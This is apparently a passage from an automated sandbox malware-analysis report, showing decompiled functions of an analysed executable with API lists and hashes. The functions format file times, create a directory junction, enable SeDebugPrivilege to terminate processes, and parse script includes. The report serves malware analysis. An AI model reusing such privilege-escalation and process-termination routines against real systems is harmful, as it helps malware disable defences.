						E0041353A(_v668 & 0x0000ffff,  &_v628, _t150,  &_v628, L"%02d", _v662 & 0x0000ffff);
						E0040E6D0(_t73, __eflags);
						_push(3);
						_push(1);
						_push(0);
						_push(_t150);
						_t77 = E0040D030();
						E0041353A(_v660 & 0x0000ffff, _t143, _t150, _t143, L"%02d", _v660 & 0x0000ffff);
						E0040E6D0(_t77, __eflags);
						_push(4);
						_push(1);
						_push(0);
						_push(_t150);
						_t80 = E0040D030();
						E0041353A(_v660 & 0x0000ffff, _t143, _t150, _t143, L"%02d", _v658 & 0x0000ffff);
						E0040E6D0(_t80, __eflags);
						_push(5);
						_push(1);
						_push(0);
						_push(_t150);
						_t83 = E0040D030();
						E0041353A(_v660 & 0x0000ffff, _t143, _t150, _t143, L"%02d", _v656 & 0x0000ffff);
						E0040E6D0(_t83, __eflags);
						__eflags = 0;
						return 0;
					} else {
						_t120 =  *((intOrPtr*)( *((intOrPtr*)(_t140 + 4)) + 8));
						_t89 = E0040C760( *((intOrPtr*)( *((intOrPtr*)(_t140 + 4)) + 8)));
						_t168 = _t89 - 1;
						if(_t89 != 1) {
							goto L11;
						} else {
							_push(_v656 & 0x0000ffff);
							_push(_v658 & 0x0000ffff);
							_push(_v660 & 0x0000ffff);
							_push(_v662 & 0x0000ffff);
							_push(_v666 & 0x0000ffff);
							E0041353A(_v666 & 0x0000ffff, _t140, _t148,  &_v628, L"%4d%02d%02d%02d%02d%02d", _v668 & 0x0000ffff);
							E0040E6D0(_a8, _t168);
							return 0;
						}
					}
				}
			}


































                                                                                                                                                                            0x00475ff4
                                                                                                                                                                            0x00475ffc
                                                                                                                                                                            0x00476004
                                                                                                                                                                            0x0047600c
                                                                                                                                                                            0x00476015
                                                                                                                                                                            0x00476231
                                                                                                                                                                            0x00476241
                                                                                                                                                                            0x00476248
                                                                                                                                                                            0x0047624e
                                                                                                                                                                            0x0047601b
                                                                                                                                                                            0x00476023
                                                                                                                                                                            0x0047602b
                                                                                                                                                                            0x00476033
                                                                                                                                                                            0x0047603b
                                                                                                                                                                            0x00476044
                                                                                                                                                                            0x00476048
                                                                                                                                                                            0x0047604c
                                                                                                                                                                            0x00476056
                                                                                                                                                                            0x00476063
                                                                                                                                                                            0x00476063
                                                                                                                                                                            0x00476065
                                                                                                                                                                            0x00476068
                                                                                                                                                                            0x004760a5
                                                                                                                                                                            0x004760ab
                                                                                                                                                                            0x004760af
                                                                                                                                                                            0x004760b4
                                                                                                                                                                            0x0047606a
                                                                                                                                                                            0x0047606d
                                                                                                                                                                            0x0047608d
                                                                                                                                                                            0x00476097
                                                                                                                                                                            0x00476098
                                                                                                                                                                            0x0047609c
                                                                                                                                                                            0x0047606f
                                                                                                                                                                            0x0047606f
                                                                                                                                                                            0x00476075
                                                                                                                                                                            0x0047607f
                                                                                                                                                                            0x00476084
                                                                                                                                                                            0x00476084
                                                                                                                                                                            0x0047606d
                                                                                                                                                                            0x004760b5
                                                                                                                                                                            0x004760bf
                                                                                                                                                                            0x0047611e
                                                                                                                                                                            0x0047611e
                                                                                                                                                                            0x00476121
                                                                                                                                                                            0x00476123
                                                                                                                                                                            0x00476127
                                                                                                                                                                            0x0047612c
                                                                                                                                                                            0x0047612e
                                                                                                                                                                            0x00476130
                                                                                                                                                                            0x00476132
                                                                                                                                                                            0x00476133
                                                                                                                                                                            0x0047614a
                                                                                                                                                                            0x00476152
                                                                                                                                                                            0x00476156
                                                                                                                                                                            0x0047615b
                                                                                                                                                                            0x0047615d
                                                                                                                                                                            0x0047615f
                                                                                                                                                                            0x00476161
                                                                                                                                                                            0x00476162
                                                                                                                                                                            0x00476175
                                                                                                                                                                            0x0047617d
                                                                                                                                                                            0x00476182
                                                                                                                                                                            0x00476184
                                                                                                                                                                            0x00476186
                                                                                                                                                                            0x00476188
                                                                                                                                                                            0x00476189
                                                                                                                                                                            0x0047619c
                                                                                                                                                                            0x004761a4
                                                                                                                                                                            0x004761a9
                                                                                                                                                                            0x004761ab
                                                                                                                                                                            0x004761ad
                                                                                                                                                                            0x004761af
                                                                                                                                                                            0x004761b0
                                                                                                                                                                            0x004761c3
                                                                                                                                                                            0x004761cb
                                                                                                                                                                            0x004761d0
                                                                                                                                                                            0x004761d2
                                                                                                                                                                            0x004761d4
                                                                                                                                                                            0x004761d6
                                                                                                                                                                            0x004761d7
                                                                                                                                                                            0x004761ea
                                                                                                                                                                            0x004761f2
                                                                                                                                                                            0x004761f7
                                                                                                                                                                            0x004761f9
                                                                                                                                                                            0x004761fb
                                                                                                                                                                            0x004761fd
                                                                                                                                                                            0x004761fe
                                                                                                                                                                            0x00476211
                                                                                                                                                                            0x00476219
                                                                                                                                                                            0x0047621e
                                                                                                                                                                            0x00476226
                                                                                                                                                                            0x004760c1
                                                                                                                                                                            0x004760c4
                                                                                                                                                                            0x004760c7
                                                                                                                                                                            0x004760cc
                                                                                                                                                                            0x004760cf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004760d1
                                                                                                                                                                            0x004760e0
                                                                                                                                                                            0x004760e6
                                                                                                                                                                            0x004760ec
                                                                                                                                                                            0x004760f2
                                                                                                                                                                            0x004760f3
                                                                                                                                                                            0x004760ff
                                                                                                                                                                            0x0047610e
                                                                                                                                                                            0x0047611b
                                                                                                                                                                            0x0047611b
                                                                                                                                                                            0x004760cf
                                                                                                                                                                            0x004760bf

                                                                                                                                                                            APIs
                                                                                                                                                                            • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0047600C
                                                                                                                                                                            • FindClose.KERNEL32(00000000), ref: 0047604C
                                                                                                                                                                            • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00476075
                                                                                                                                                                            • FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0047608D
                                                                                                                                                                            • FileTimeToSystemTime.KERNEL32(?,?), ref: 004760B5
                                                                                                                                                                            • __swprintf.LIBCMT ref: 004760FF
                                                                                                                                                                            • __swprintf.LIBCMT ref: 0047614A
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00476175
                                                                                                                                                                              • Part of subcall function 0041353A: __woutput_l.LIBCMT ref: 0041358F
                                                                                                                                                                            • __swprintf.LIBCMT ref: 0047619C
                                                                                                                                                                              • Part of subcall function 0041353A: __flsbuf.LIBCMT ref: 004135AD
                                                                                                                                                                              • Part of subcall function 0041353A: __flsbuf.LIBCMT ref: 004135C5
                                                                                                                                                                            • __swprintf.LIBCMT ref: 004761C3
                                                                                                                                                                            • __swprintf.LIBCMT ref: 004761EA
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00476211
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l
                                                                                                                                                                            • String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d$HH
                                                                                                                                                                            • API String ID: 937276768-3423163872
                                                                                                                                                                            • Opcode ID: 06606d10da03eda39fb356f3a9de7e608b30fcd9bc98489518ee04381959e6a0
                                                                                                                                                                            • Instruction ID: 620d276c2385ea74303efce356e4dd2f8a6156b7ba60b6be50b37e97889d348b
                                                                                                                                                                            • Opcode Fuzzy Hash: 06606d10da03eda39fb356f3a9de7e608b30fcd9bc98489518ee04381959e6a0
                                                                                                                                                                            • Instruction Fuzzy Hash: 7961C8716043006BD314EFA6CC86F6FB3D9AF88B04F404E2FF644662C1E6B9D955876A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00434D50 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 114fileCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 87%
                                                                                                                                                                            			E00434D50(void* __esi, WCHAR* _a4, WCHAR* _a8, intOrPtr _a12) {
				short _v520;
				char _v2064;
				short _v2068;
				short _v2070;
				signed short _v2076;
				void _v2080;
				char _v2600;
				long _v2604;
				WCHAR* _v2608;
				void* __edi;
				signed int _t37;
				int _t38;
				signed short _t49;
				int _t52;
				signed int _t57;
				signed int _t58;
				WCHAR* _t71;
				void* _t72;
				void* _t73;
				WCHAR** _t77;

				_t72 = __esi;
				_t65 = _a4;
				_t71 = _a8;
				if(GetFullPathNameW(_a4, 0x104,  &_v520,  &_v2608) == 0) {
					L6:
					return 0;
				} else {
					E0041353A(_t65, _t71, __esi,  &_v2600, L"\\??\\%s",  &_v520);
					_t37 = E004112D5( &_v2600);
					_t77 =  &(( &_v2608)[4]);
					if( *((short*)(_t77 + 0xa + _t37 * 2)) == 0x5c) {
						_t57 = E004112D5( &_v2600);
						_t77 =  &(_t77[1]);
						if( *((short*)(_t77 + 8 + _t57 * 2)) != 0x3a) {
							_t58 = E004112D5( &_v2600);
							 *((short*)(_t77 + 0xa + _t58 * 2)) = 0;
						}
					}
					_t38 = CreateDirectoryW(_t71, 0);
					if(_t38 != 0 || _a12 != _t38) {
						_push(_t72);
						_t73 = CreateFileW(_t71, 0x40000000, 0, 0, 3, 0x2200000, 0);
						if(_t73 == 0xffffffff) {
							L10:
							RemoveDirectoryW(_t71);
							return 0;
						} else {
							E004131F0(_t71,  &_v2080, 0, 0x14);
							_v2080 = 0xa0000003;
							_v2070 = E004112D5( &_v2600) + _t44;
							_v2068 = _v2070 + 2;
							E0041326A( &_v2064,  &_v2600, 0x104);
							_t49 = _v2070 + 0xc;
							_v2076 = _t49;
							_t52 = DeviceIoControl(_t73, 0x900a4,  &_v2080, (_t49 & 0x0000ffff) + 8, 0, 0,  &_v2604, 0);
							_push(_t73);
							if(_t52 != 0) {
								CloseHandle();
								return 1;
							} else {
								CloseHandle();
								goto L10;
							}
						}
					} else {
						goto L6;
					}
				}
			}























                                                                                                                                                                            0x00434d50
                                                                                                                                                                            0x00434d50
                                                                                                                                                                            0x00434d5b
                                                                                                                                                                            0x00434d7d
                                                                                                                                                                            0x00434dea
                                                                                                                                                                            0x00434df3
                                                                                                                                                                            0x00434d7f
                                                                                                                                                                            0x00434d91
                                                                                                                                                                            0x00434d9b
                                                                                                                                                                            0x00434da0
                                                                                                                                                                            0x00434da9
                                                                                                                                                                            0x00434db0
                                                                                                                                                                            0x00434db5
                                                                                                                                                                            0x00434dbe
                                                                                                                                                                            0x00434dc5
                                                                                                                                                                            0x00434dcf
                                                                                                                                                                            0x00434dcf
                                                                                                                                                                            0x00434dbe
                                                                                                                                                                            0x00434dd7
                                                                                                                                                                            0x00434ddf
                                                                                                                                                                            0x00434df6
                                                                                                                                                                            0x00434e10
                                                                                                                                                                            0x00434e15
                                                                                                                                                                            0x00434eba
                                                                                                                                                                            0x00434ebb
                                                                                                                                                                            0x00434ecb
                                                                                                                                                                            0x00434e1b
                                                                                                                                                                            0x00434e27
                                                                                                                                                                            0x00434e31
                                                                                                                                                                            0x00434e43
                                                                                                                                                                            0x00434e67
                                                                                                                                                                            0x00434e6f
                                                                                                                                                                            0x00434e80
                                                                                                                                                                            0x00434e83
                                                                                                                                                                            0x00434ea9
                                                                                                                                                                            0x00434eaf
                                                                                                                                                                            0x00434eb2
                                                                                                                                                                            0x00434ece
                                                                                                                                                                            0x00434ee1
                                                                                                                                                                            0x00434eb4
                                                                                                                                                                            0x00434eb4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434eb4
                                                                                                                                                                            0x00434eb2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00434ddf

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00434D75
                                                                                                                                                                            • __swprintf.LIBCMT ref: 00434D91
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00434D9B
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00434DB0
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00434DC5
                                                                                                                                                                            • CreateDirectoryW.KERNEL32(?,00000000), ref: 00434DD7
                                                                                                                                                                            • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00434E0A
                                                                                                                                                                            • _memset.LIBCMT ref: 00434E27
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00434E3C
                                                                                                                                                                            • _wcsncpy.LIBCMT ref: 00434E6F
                                                                                                                                                                            • DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00434EA9
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00434EB4
                                                                                                                                                                            • RemoveDirectoryW.KERNEL32(?), ref: 00434EBB
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 00434ECE
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
                                                                                                                                                                            • String ID: :$\$\??\%s
                                                                                                                                                                            • API String ID: 302090198-3457252023
                                                                                                                                                                            • Opcode ID: 2a5133c0eab3b4922159a151545836d770f37b46c916c545b877f60e117c6dff
                                                                                                                                                                            • Instruction ID: 730b2dca1b6b09bd6b76555d3316dee95f4818bcffb97f26f8f03165767cfd2f
                                                                                                                                                                            • Opcode Fuzzy Hash: 2a5133c0eab3b4922159a151545836d770f37b46c916c545b877f60e117c6dff
                                                                                                                                                                            • Instruction Fuzzy Hash: 30416676604340ABE330EB64DC49FEF73E8AFD8714F00891EF649921D1E7B4A645876A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00464422 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 193threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 81%
                                                                                                                                                                            			E00464422(intOrPtr* __ecx, void* __fp0, intOrPtr _a4, int* _a8) {
				struct _TOKEN_PRIVILEGES _v20;
				intOrPtr _v24;
				struct _TOKEN_PRIVILEGES _v36;
				long _v40;
				long _v44;
				void* _v48;
				char _v49;
				void* __edi;
				void* __esi;
				intOrPtr _t61;
				int _t70;
				void* _t90;
				intOrPtr* _t113;
				int* _t119;
				int* _t122;
				int* _t125;

				_t113 = __ecx;
				_v49 = 0;
				if(E00444233(E00453081( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4))))),  &_v44,  &_v49) != 0) {
					if(_v49 == 0) {
						L16:
						_t119 = _a8;
						E004092C0(_t113, _t119);
						_t119[2] = 1;
						 *_t119 = 0;
						goto L17;
					} else {
						_t90 = OpenProcess(1, 0, _v44);
						if(_t90 != 0) {
							L11:
							if(TerminateProcess(_t90, 0) == 0) {
								E00404120( *((intOrPtr*)( *_t113 + 4)) + _t113, GetLastError(), _t44);
								E004040E0( *((intOrPtr*)( *_t113 + 4)) + _t113, 3, 0);
								_t122 = _a8;
								E004092C0(_t113, _t122);
								_t122[2] = 1;
								 *_t122 = 0;
							}
							CloseHandle(_t90);
							return 0;
						} else {
							if(GetLastError() != 5) {
								E00404120( *((intOrPtr*)( *_t113 + 4)) + _t113, _t56, 0);
								_t61 =  *((intOrPtr*)( *_t113 + 4));
								_push(0);
								_push(1);
								goto L15;
							} else {
								if(OpenThreadToken(GetCurrentThread(), 0x28, 0,  &_v48) != 0 || OpenProcessToken(GetCurrentProcess(), 0x28,  &_v48) != 0) {
									_v36.PrivilegeCount = 1;
									_v24 = 2;
									LookupPrivilegeValueW(0, L"SeDebugPrivilege",  &(_v36.Privileges));
									_v40 = 0x10;
									if(AdjustTokenPrivileges(_v48, 0,  &_v36, 0x10,  &_v20,  &_v40) == 0) {
										L17:
										return 0;
									} else {
										_t70 = GetLastError();
										if(_t70 != 0) {
											E00404120( *((intOrPtr*)( *_t113 + 4)) + _t113, _t70, 0);
											_t61 =  *((intOrPtr*)( *_t113 + 4));
											_push(0);
											_push(2);
											L15:
											E004040E0(_t61 + _t113);
											goto L16;
										} else {
											_t90 = OpenProcess(1, _t70, _v44);
											AdjustTokenPrivileges(_v48, 0,  &_v20, _v40, 0, 0);
											CloseHandle(_v48);
											if(_t90 == 0) {
												goto L17;
											} else {
												goto L11;
											}
										}
									}
								} else {
									_push(0xffffffff);
									_push(0x89);
									_push(_t113);
									E0045E62E(__fp0);
									return 1;
								}
							}
						}
					}
				} else {
					_t125 = _a8;
					E004092C0(_t113, _t125);
					_t125[2] = 1;
					 *_t125 = 0;
					E004040E0( *((intOrPtr*)( *_t113 + 4)) + _t113, 4, 0);
					return 0;
				}
			}



















                                                                                                                                                                            0x00464431
                                                                                                                                                                            0x00464443
                                                                                                                                                                            0x00464458
                                                                                                                                                                            0x0046448f
                                                                                                                                                                            0x00464619
                                                                                                                                                                            0x00464619
                                                                                                                                                                            0x0046461c
                                                                                                                                                                            0x00464621
                                                                                                                                                                            0x00464628
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464495
                                                                                                                                                                            0x004644a4
                                                                                                                                                                            0x004644a8
                                                                                                                                                                            0x004645a2
                                                                                                                                                                            0x004645ad
                                                                                                                                                                            0x004645be
                                                                                                                                                                            0x004645ce
                                                                                                                                                                            0x004645d3
                                                                                                                                                                            0x004645d6
                                                                                                                                                                            0x004645db
                                                                                                                                                                            0x004645e2
                                                                                                                                                                            0x004645e2
                                                                                                                                                                            0x004645e9
                                                                                                                                                                            0x004645f7
                                                                                                                                                                            0x004644ae
                                                                                                                                                                            0x004644b9
                                                                                                                                                                            0x00464643
                                                                                                                                                                            0x0046464a
                                                                                                                                                                            0x0046464d
                                                                                                                                                                            0x0046464f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004644bf
                                                                                                                                                                            0x004644d7
                                                                                                                                                                            0x00464518
                                                                                                                                                                            0x00464520
                                                                                                                                                                            0x00464528
                                                                                                                                                                            0x0046454c
                                                                                                                                                                            0x00464558
                                                                                                                                                                            0x0046462e
                                                                                                                                                                            0x00464636
                                                                                                                                                                            0x0046455e
                                                                                                                                                                            0x0046455e
                                                                                                                                                                            0x00464562
                                                                                                                                                                            0x00464604
                                                                                                                                                                            0x0046460b
                                                                                                                                                                            0x0046460e
                                                                                                                                                                            0x00464610
                                                                                                                                                                            0x00464612
                                                                                                                                                                            0x00464614
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00464568
                                                                                                                                                                            0x0046457e
                                                                                                                                                                            0x0046458d
                                                                                                                                                                            0x00464594
                                                                                                                                                                            0x0046459c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046459c
                                                                                                                                                                            0x00464562
                                                                                                                                                                            0x004644f1
                                                                                                                                                                            0x004644f1
                                                                                                                                                                            0x004644f3
                                                                                                                                                                            0x004644f8
                                                                                                                                                                            0x004644f9
                                                                                                                                                                            0x00464509
                                                                                                                                                                            0x00464509
                                                                                                                                                                            0x004644d7
                                                                                                                                                                            0x004644b9
                                                                                                                                                                            0x004644a8
                                                                                                                                                                            0x0046445a
                                                                                                                                                                            0x0046445a
                                                                                                                                                                            0x0046445d
                                                                                                                                                                            0x00464462
                                                                                                                                                                            0x00464469
                                                                                                                                                                            0x0046447a
                                                                                                                                                                            0x00464487
                                                                                                                                                                            0x00464487

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00444233: _wcslen.LIBCMT ref: 0044424E
                                                                                                                                                                            • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0046449E
                                                                                                                                                                            • GetLastError.KERNEL32 ref: 004644B4
                                                                                                                                                                            • GetCurrentThread.KERNEL32 ref: 004644C8
                                                                                                                                                                            • OpenThreadToken.ADVAPI32(00000000), ref: 004644CF
                                                                                                                                                                            • GetCurrentProcess.KERNEL32(00000028,?), ref: 004644E0
                                                                                                                                                                            • OpenProcessToken.ADVAPI32(00000000), ref: 004644E7
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: OpenProcess$CurrentThreadToken$ErrorLast_wcslen
                                                                                                                                                                            • String ID: SeDebugPrivilege
                                                                                                                                                                            • API String ID: 1312810259-2896544425
                                                                                                                                                                            • Opcode ID: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                            • Instruction ID: c3f5e6af55eb0da9fa74db60d4f5a84adac3a89a74612fbe59a223ef38337450
                                                                                                                                                                            • Opcode Fuzzy Hash: bb2abcbadcb50e0008f3b1fe3e217bfa736f6ade076d8095da49bf04f95d98f8
                                                                                                                                                                            • Instruction Fuzzy Hash: 0E51A171200201AFD710DF65DD85F5BB7A8AB84704F10892EFB44DB2C1D7B8E844CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004037E0 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 359COMMONCrypto
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 65%
                                                                                                                                                                            			E004037E0(void* __ecx, void* __edx, void* __fp0, char _a1, char _a2, char _a3, void* _a4, WCHAR* _a8, char _a9, signed int _a11, char _a12, intOrPtr* _a16, intOrPtr _a20, char _a24, intOrPtr _a28, char _a32, char _a48, char _a56, intOrPtr _a60, signed char _a68, intOrPtr _a72, char _a84, WCHAR* _a92, short _a96, char _a104, short _a624, char _a1152, short _a1672, void* _a2192, short _a2200, char _a2208, char _a10392, char _a10912) {
				char _v0;
				void* _v4;
				void* _v5;
				void* _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t142;
				signed int _t143;
				short _t147;
				signed char _t176;
				char _t177;
				intOrPtr _t178;
				void* _t188;
				void* _t191;
				void* _t194;
				signed int _t196;
				signed int _t200;
				signed int _t201;
				signed int _t202;
				signed int _t205;
				void* _t206;
				void* _t208;
				void* _t209;
				void* _t210;
				char* _t212;
				intOrPtr* _t213;
				signed int _t224;
				intOrPtr _t225;
				char _t227;
				signed int _t279;
				signed int _t280;
				signed int _t282;
				signed int _t284;
				intOrPtr* _t286;
				void* _t287;
				signed int _t288;
				signed int _t289;
				void* _t291;
				void* _t293;
				void* _t294;

				_t325 = __fp0;
				_t289 = _t288 & 0xfffffff8;
				E00425210(0x2cac);
				_t142 =  *0x4a92d0; // 0x0
				_t143 = _t142 + 1;
				_t297 = _t143 - 0x30;
				 *0x4a92d0 = _t143;
				if(_t143 >= 0x30) {
					_push(_a20);
					_push(L"#include depth exceeded.  Make sure there are no recursive includes");
					_push(_a24);
					_push(_a16);
					_push(_a4);
					E00453F80(__eflags, __fp0);
					 *0x4a92d0 =  *0x4a92d0 - 1;
					_t147 = 0;
					L43:
					return _t147;
				}
				_t273 = _a8;
				_t224 = 1;
				_a4 = 0;
				_v0 = 1;
				_a3 = 1;
				_a1 = 0;
				E0040D940( &_a24, 1, __ecx, _t273, _t297);
				E00401B70(1, _t273,  &_a8, _t297);
				if(E0040DFA0(0x2000,  &_a24, _t273, _t287,  &_a8) == 0) {
					_a2 = 1;
				} else {
					_a2 = 0;
				}
				E00402620( &_a8);
				if(_a2 != 0) {
					_push(_a20);
					_push(L"Error opening the file");
					_push(_a24);
					_push(_a16);
					_push(_a4);
					E00453F80(__eflags, _t325);
					E004444E4(_t224, _a4, _t273, _t287,  &_a4);
					 *0x4a92d0 =  *0x4a92d0 - 1;
					_t147 = 0;
					goto L43;
				} else {
					GetCurrentDirectoryW(0x104,  &_a1672);
					GetFullPathNameW(_t273, 0x104,  &_a96,  &_a92);
					E00413DB0( &_a96,  &_a84,  &_a1152,  &_a10912,  &_a10392);
					E00411691( &_a624,  &_a84);
					E00411663( &_a624,  &_a1152);
					_t291 = _t289 + 0x24;
					SetCurrentDirectoryW( &_a624);
					while(_t224 == 1) {
						_a2200 = 0;
						E00403770( &_a48);
						_t176 = _a68;
						if((_t176 & 0x00000003) != 0) {
							_push( &_a48);
							_push( &_a24);
							_t177 = E0045F05D(_t287, __eflags, _t325);
							_t225 = 0;
						} else {
							_t302 = _t176 & 0x00000004;
							if((_t176 & 0x00000004) != 0) {
								_t177 = E00467F38( &_a24, 0, __eflags, _t325,  &_a24,  &_a48);
								_t225 = 0;
							} else {
								_t225 = 0;
								_push(0x10);
								_a12 = 0;
								_a16 = 0x10;
								_t212 = E0041171A(0, _t273, _t302);
								_push(4);
								_a8 = _t212;
								 *_t212 = 0;
								_t213 = E0041171A(0, _t273, _t302);
								_t291 = _t291 + 8;
								if(_t213 == 0) {
									_a20 = 0;
								} else {
									 *_t213 = 1;
									_a20 = _t213;
								}
								_t273 =  &_a8;
								if(E00403BD0( &_a24,  &_a8, _t325) == 0) {
									E00401330(0,  &_a8);
									_t177 = 0;
								} else {
									E00403F40( &_a8, _t225, _t287,  &_a48);
									_t286 = _a16;
									 *_t286 =  *_t286 + 0xffffffff;
									_t305 =  *_t286;
									if( *_t286 == 0) {
										E004112EF(_t225,  &_a48,  &_a8, _t286, _t305, _a8);
										E004112EF(_t225,  &_a48,  &_a8, _t286, _t305, _t286);
										_t291 = _t291 + 8;
									}
									_t177 = 1;
								}
							}
						}
						if(_t177 == 0) {
							L42:
							E0040D900( &_a24);
							_a68 = _t225;
							_a72 = _t225;
							SetCurrentDirectoryW( &_a1672);
							E0040D900( &_a24);
							_a68 = _t225;
							_a72 = _t225;
							E00402620( &_a48);
							E0040D900( &_a24);
							E004112EF(_t225,  &_a1672, _t273,  &_a24, __eflags, _a28);
							_t147 = _v0;
							 *0x4a92d0 =  *0x4a92d0 - 1;
							__eflags =  *0x4a92d0;
							goto L43;
						} else {
							_t178 = _a60;
							if(_t178 > 0xffe) {
								_t279 = _t178 - 0xffe;
								E00402AE0( &_a56, _t225);
								E00410F70(_t225, _t273, _t279, _a56 + 0x1ffc, _a56 + 0x1ffc + _t279 * 2, _a60 - _t279 + _a60 - _t279 - 0x1ffa);
								_t291 = _t291 + 0xc;
								_a60 = _a60 - _t279;
							}
							_t241 =  &_a2208;
							E00411691( &_a2208, _a56);
							_a12 = _a12 + 1;
							_t293 = _t291 + 8;
							_t280 = 0;
							_t273 = 0;
							while(1) {
								_t226 =  *(_t293 + 0x8a8 + _t280 * 2) & 0x0000ffff;
